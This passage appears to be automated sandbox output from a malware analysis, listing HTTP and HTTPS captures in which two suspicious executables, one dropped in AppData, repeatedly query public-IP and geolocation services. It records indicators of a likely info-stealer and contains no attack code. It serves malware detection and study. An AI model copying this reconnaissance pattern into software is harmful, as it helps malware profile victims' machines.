                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            4192.168.2.649756158.101.44.242803704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:17.110789061 CET127OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Dec 16, 2024 14:23:18.320864916 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:18 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: 6b0c0082644d4d2eae71597740ecf228
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            5192.168.2.649766158.101.44.242808124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:20.040308952 CET151OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            Dec 16, 2024 14:23:21.243686914 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:21 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: e4c00712b40c900c4235775143214d5b
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            6192.168.2.649767158.101.44.242803704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:20.109385014 CET151OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            Dec 16, 2024 14:23:21.314349890 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:21 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: 76f6567e806c054b66f789dd58c84ed6
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            7192.168.2.649775158.101.44.242808124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:23.040644884 CET151OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            Dec 16, 2024 14:23:24.244319916 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:24 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: aad3e98d9786a9f80c8d6e3a6e6d3b5d
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            8192.168.2.649776158.101.44.242803704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:23.111809015 CET151OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            Dec 16, 2024 14:23:24.319961071 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:24 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: 603173f6b3ffe9fc968f9adce33f9070
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            9192.168.2.649788158.101.44.242808124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:26.047564030 CET151OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            Dec 16, 2024 14:23:27.252557039 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:27 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: 1683d11dcd8e49ccda8827e135aeab99
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            10192.168.2.649789158.101.44.242803704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:26.105798006 CET151OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            Dec 16, 2024 14:23:27.310658932 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:27 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: 6e54dadaa999c3ec730d7565f7d35c99
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            11192.168.2.649797158.101.44.242808124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:29.046560049 CET151OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            Dec 16, 2024 14:23:30.251179934 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:30 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: f105daa1adeb7ee530a3b2c04c7b692a
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            12192.168.2.649798158.101.44.242803704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:29.105341911 CET151OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            Dec 16, 2024 14:23:30.507512093 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:30 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: cc9a9bfe73a8d735b75705ab16fdd23a
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            13192.168.2.649807158.101.44.242808124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:32.045152903 CET151OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            Dec 16, 2024 14:23:33.250650883 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:33 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: e25ae35d1e8922d42e92196f1da5c40f
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            14192.168.2.649811158.101.44.242803704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:32.314729929 CET151OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            Dec 16, 2024 14:23:33.520648956 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:33 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: 0a6c7eaf9f5e5205a68a2978965b61c2
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            15192.168.2.649821158.101.44.242803704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:35.314642906 CET151OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            Dec 16, 2024 14:23:36.532517910 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:36 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: 2e48ab39a925b508a60bc5d31c7664b9
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            HTTPS Proxied Packets

                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            0192.168.2.649730104.21.67.1524438124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:11 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:11 UTC882INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:11 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344160
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tPTGBuLQwLiXE%2F5bSLOa%2FFe%2Fki26EAgft9yiHB17fp%2FAVdHKyTenXVMreOON8SJystEddui8n2KInDKT2v%2BLHaInrDn4TvC5ZmrerY2k09%2FvEmnUbqYkW2ZDHoUuFkScqOLlwHCh"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efc8dca45c35a-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1537&min_rtt=1533&rtt_var=583&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1865814&cwnd=247&unsent_bytes=0&cid=b7dd99fdfca64438&ts=515&x=0"
                                                                                                                                                            2024-12-16 13:23:11 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            1192.168.2.649733104.21.67.1524438124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:13 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            2024-12-16 13:23:13 UTC878INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:13 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344162
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g%2BHB%2B0Q4AfPblkPdPqTaZraoJ7Iy3EUriUzWDMZcuT6TopyBsbWnwRsPiLaTATVI3GVmDQ0vwYpjz%2BNwmQ7VvrKng%2Bf2etGWDl4YlsUEcxt0BqVOrqzU9FwIpv2tuAeWpS8N05sD"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efc9acef55e71-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1994&min_rtt=1801&rtt_var=813&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1621321&cwnd=238&unsent_bytes=0&cid=6ddbf0448507d0ae&ts=456&x=0"
                                                                                                                                                            2024-12-16 13:23:13 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                            Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            2192.168.2.649741104.21.67.1524433704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:14 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                            Host: reallyfreegeoip.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:14 UTC878INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:14 GMT
                                                                                                                                                            Content-Type: text/xml
                                                                                                                                                            Content-Length: 362
                                                                                                                                                            Connection: close
                                                                                                                                                            Cache-Control: max-age=31536000
                                                                                                                                                            CF-Cache-Status: HIT
                                                                                                                                                            Age: 344163
                                                                                                                                                            Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT
                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LRVqHLwfg6Oe3gAv5UHC4q2sYczsX5acONw033daxqKoRZgUUz1QBujm02Zcd7e%2B9cflv3ZKMWv4eXBEMb%2Fo1a%2BkK4yh36JpskDHc2xWh%2BQ9Esamr3JsNdILZkynTEEKaj3ojhuX"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                            Server: cloudflare
                                                                                                                                                            CF-RAY: 8f2efca10b8642c3-EWR
                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1576&min_rtt=1531&rtt_var=664&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1542525&cwnd=203&unsent_bytes=0&cid=0486e8b820c27126&ts=455&x=0"
